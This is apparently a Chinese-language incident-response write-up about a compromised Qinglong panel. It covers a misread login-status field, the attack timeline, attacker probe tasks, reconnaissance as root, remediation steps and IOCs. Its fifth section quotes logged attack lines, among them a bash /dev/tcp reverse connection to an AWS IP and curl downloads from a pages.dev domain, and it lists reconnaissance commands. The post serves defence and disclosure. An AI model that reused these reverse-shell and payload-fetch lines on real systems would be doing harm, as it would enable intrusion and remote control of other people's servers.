一、TL;DR

一台部署在阿里云 ECS 上的青龙面板,持续收到「国外 IP 登陆」通知,起初以为是常见的爆破噪音。取证后发现:境外黑产最迟从 2026 年 4 月 13 日起就持有面板凭据,累计 61 次登录、43 次成功,期间在容器内以 root 执行了整套侦察命令、留下每分钟执行的持久化任务、先后 5 次尝试下载恶意载荷——全部载荷投递均因容器网络问题失败,且面板环境变量为空、无可窃取的 Cookie,最终未造成实际损失。

本文完整复盘:排查过程(含一个极易看反的日志字段)、攻击时间线、攻击者画像与凭据来源推断、为什么没有造成损失、应急处置清单,以及给所有青龙面板用户的建议。

脱敏说明:本文已隐去服务器 IP 与面板账号(部分打码);攻击者 IOC 保留完整,便于在威胁情报平台查询比对。


二、起因:一直骚扰我的「国外 IP 登陆」通知

服务器上用某一键部署工具装了青龙面板,跑在非默认端口上,通过安全组对公网开放。一段时间以来,通知渠道反复推送青龙的「登录通知」:某个美国、英国、德国的 IP 尝试登录面板。

最常见的误判是把它当成 SSH 爆破噪音——「公网机器嘛,天天被人扫,习惯了」。

于是按标准流程先排除了最坏情况:

1
2
3
4
# 宿主机成功登录记录:全部是国内 IP(自己的登录)
last -a
# 宿主机失败登录:少量境外爆破尝试(deploy 等用户名),未成功
lastb

SSH 层面干净。那么问题一定出在面板自己身上。


三、排查:一个极易看反的日志字段

青龙的登录日志存在 SQLite 里(data/db/database.sqlite 的 Auths 表),每条记录带 info JSON:IP、归属地、平台、status。

第一直觉:status=1 是「成功」,status=0 是「失败」。按这个理解,境外 IP 大多是失败尝试——虚惊一场。

但这个直觉是反的。 翻青龙源码(back/data/system.ts):

1
2
3
4
export enum LoginStatus {
'success', // = 0
'fail', // = 1
}

TypeScript 数字枚举从 0 开始,success=0、fail=1。再看 services/user.ts,登录成功才写入 LoginStatus.success 并推送「登录成功」通知。

翻转语义重新统计,结论完全不同:

统计项 数量
登录日志总记录 71 条(含 3 条安装初始化、7 条本人登录)
境外 IP 记录 61 条
境外 IP 成功登录(status=0) 43 次
境外 IP 失败尝试(status=1) 18 次

也就是说:**过去半年,境外 IP 成功登录了这台面板 43 次。**通知里那些「国外 IP 登陆」,不是爆破噪音,是真实的入侵。


四、攻击时间线:两个风格迥异的阶段

把 61 条境外记录按时间排开,能清晰看到两个阶段:

时间 阶段特征
2025-12-25 面板经一键部署工具安装,凭据由工具自动生成(test_id9*** / pass_eys***)
2026-03-16 本人最后一次正常登录(此后面板再无本人登录记录)
2026-04-13 ~ 06-10 第一阶段:15 次登录全部成功、零失败,来源集中在 DigitalOcean 固定网段(纽约/丹佛/德州),时间点大多规律地落在 UTC 14:15 前后,每 2~3 天一次
2026-06-03 / 06-11 两次载荷投递尝试(见下文),均失败
2026-06-24 ~ 09-27 第二阶段:节奏突变,机房 IP + 家宽代理轮换(德国电信、捷克 T-Mobile),开始出现失败记录,动作变密
2026-08-21 创建两个每分钟执行的持久化任务(创建时间与某次成功登录精确到同一秒)
2026-09-14 / 09-25 / 09-30 三波密集的容器内命令执行(踩点)
2026-10-03 发现、取证、处置

第一阶段那种「零失败 + 固定时刻 + 固定网段」的规律性,是自动化工具按资产清单定时「验活」的典型特征——不是人在操作,是清单化作业。


五、攻击者在里面做了什么

1. 埋持久化探针

任务表里出现两个不是任何人创建过的任务:

1
2
id=6  ql-osprobe-3d302f  command: echo %OS%  schedule: * * * * *
id=7 ql-osprobe-3756c7 command: echo %OS% schedule: * * * * *

创建时间 2026-08-21 12:00:21 UTC,与该秒内的两条成功登录记录逐毫秒吻合。echo %OS% 是个 Windows 风格的命令,在 Linux 容器里只会原样回显——它的作用不是执行什么,而是验证「我能在你这里创建并执行定时任务」,相当于确认任意命令执行能力的心跳探针。它每分钟跑一次,跑了一个多月,日志目录攒了 5.9MB。

2. 容器内踩点(root 权限)

data/log/ 下出现一批以系统命令命名的任务日志,ps 日志甚至拍到了踩点现场——whoami 返回 root,id 返回 uid=0(root):

1
2
3
4
whoami  → root
id → uid=0(root) gid=0(root) groups=0(root),1(bin),...
etc_passwd → ./passwd: Permission denied # 尝试执行落地文件被拒
ps / netstat / last / uname / hostname / df / ls

cat /etc/passwd、netstat、last——教科书式的入侵后侦察:确认权限、摸清服务与账号、寻找横向移动的可能性。

3. 五次载荷投递,全部失败

1
2
3
4
2026-06-03 19:50  bash: /dev/tcp/13.52.56.206/6443: Host is unreachable
2026-06-11 01:42 curl: (6) Could not resolve host: redirect-master-pages.pages.dev
2026-06-28 19:58 curl: (6) Could not resolve host: redirect-master-pages.pages.dev
2026-07-27 15:22 curl: (6) Could not resolve host: redirect-master-pages.pages.dev ×2

三次 curl 指向 Cloudflare Pages 免费托管域名(黑产常用的零成本、可信 TLS 挂马基础设施),一次是用 bash 内建的 /dev/tcp 向 AWS 主机 6443 端口反连(反弹 shell / C2 手法)。五次全部因为容器内 DNS 解析失败或路由不可达而失败——攻击者反复重试说明载荷投递是其既定步骤,只是运气站在了我这边。


六、他们是怎么进来的

证据链可以排除「爆破」:

  • 境外记录中失败仅 18 次、成功 43 次,第一阶段更是 15 连成功零失败;
  • 凭据是部署工具生成的 pass_eys***(8 位随机后缀),爆破它在算力上不现实。

结论:攻击者从一开始就持有正确密码,是「已知凭据清单」(credential stuffing)式登录,配合代理池轮换 IP。那么凭据从哪来?按可能性排序:

  1. 部署工具的凭据模板/生成规则泄露。test_xxx / pass_xxx 这种模板化自动生成凭据,一旦工具开源、被破解或文档带示例,扫描器就能批量套用在所有同类部署的面板上。
  2. 黑产流通的「面板清单」转手。第一阶段像清单维护方在稳定验活;6 月底起突然换家宽代理、出现失败、动作变密,很像清单被转卖或换了更激进的操作方。
  3. 部署平台自身泄露(如未鉴权接口吐出实例凭据)——无法在本地验证,但值得怀疑。

至于这台面板如何被发现的:公网端口上的青龙面板有明确指纹,用 FOFA/Shodan 这类测绘引擎一搜就是一个目标列表。这是全自动化流水线作业,不是被针对。


七、为什么没有造成实际损失

坦率说,一半靠运气,一半靠架构。

运气成分:环境变量表是空的——青龙面板被黑产盯上的头号原因是环境变量里通常存着电商 Cookie、签到 Token,这个面板恰好没有;五次载荷投递全部因网络问题失败——若有一次成功,大概率就是已公开报道的青龙挖矿剧本(如 2026 年 2 月起批量出现的 .fullgc 挖矿木马:篡改 config.sh 持久化、CPU 飙至 800%)。

架构成分:容器未挂载 docker.sock、非特权模式、仅挂载自己的 data 目录——容器内 root 出不来,宿主机经完整性核查(authorized_keys、计划任务、进程、用户、近期文件变更)全部干净,SSH 从未有密码登录成功的记录。

但要认清:容器内的 root 并不是没有危害。攻击者可以读写宿主机上挂载的数据目录、从容器网络触达宿主机其他服务、在容器里挖矿或当跳板。这次没被打穿,不能成为下次的侥幸理由。


八、应急处置清单

确认入侵后,按以下顺序完成处置(全程可复核):

  1. 取证先行:导出登录日志、任务表、crontab.list 至独立目录,再动手清理;
  2. 删除攻击者任务:清除 ql-osprobe-* 任务与 crontab.list 中的对应行,重启面板后确认容器内 crontab 已清空;
  3. 重置凭据 + 吊销令牌:修改面板密码,同时清空 tokens 列表——青龙登录会签发 20~60 天的长期 JWT,只改密码不清令牌,攻击者手里的旧 token 依然有效;实测旧密码登录已被拒绝;
  4. SSH 加固:PasswordAuthentication no(历史记录确认无人用密码登录过,零风险),密钥登录验证正常;
  5. 善后观察:处置后持续确认无新的境外登录记录。

处置后预测:攻击者的验活清单还会按老节奏来试旧密码(几天到几周一次),收到「登录失败」通知属于正常现象;连续失败后这台机器大概率被自动化标记为「失效资产」剔除。


九、给青龙面板用户的建议

  • 不要把面板直接暴露公网。安全组白名单常用 IP,或改绑 127.0.0.1 用 Nginx 反代加认证——这是根本解;
  • 一键部署工具生成的凭据不可信,装完第一件事就是改掉面板账密;
  • 开启面板两步验证;
  • 改密码时记得清空 tokens,否则长期 JWT 依然有效;
  • 定期看一眼登录日志(系统设置 → 登录日志),注意区分成功与失败;
  • 警惕这些信号:收到「登录成功」通知、CPU 无故升高、config.sh 被改动、任务列表出现陌生条目(尤其 osprobe、echo %OS% 这类特征);
  • 环境变量里存 Cookie 前先想清楚:面板被进 = Cookie 被拿走。

十、IOC

类型 值 备注
任务名特征 ql-osprobe-xxxxxx 持久化探针
任务命令 echo %OS% 命令执行验证标记
挂马域名 redirect-master-pages.pages.dev Cloudflare Pages 滥用
C2/反连 13.52.56.206:6443 AWS
攻击 IP(机房) 167.99.144.141、192.241.248.162、107.170.4.8、159.223.124.87、209.38.147.226、209.38.159.63、209.38.69.197、143.110.227.93、206.189.199.39、138.68.51.132、162.243.242.176、159.89.133.180、157.245.203.132、164.92.198.3、46.101.3.110、138.197.150.101、64.227.126.240、159.65.104.231、65.20.79.73 多为 DigitalOcean
攻击 IP(其他) 149.36.50.19、149.102.245.71、149.102.245.72、146.70.244.6、146.70.244.9、149.22.86.23 DataCamp/科进
攻击 IP(家宽代理) 217.232.106.95(德国电信)、89.24.12.46(捷克 T-Mobile) 第二阶段出现

系列文章

参考资料

  1. 青龙面板遭挖矿木马植入高危攻击事件(.fullgc)
  2. 快去检查你的青龙面板,可能中挖矿木马了 — naixi 论坛
  3. whyour/qinglong — 青龙面板官方仓库
  4. FOFA 网络空间测绘引擎
  5. Cloudflare 滥用举报(pages.dev 等免费托管)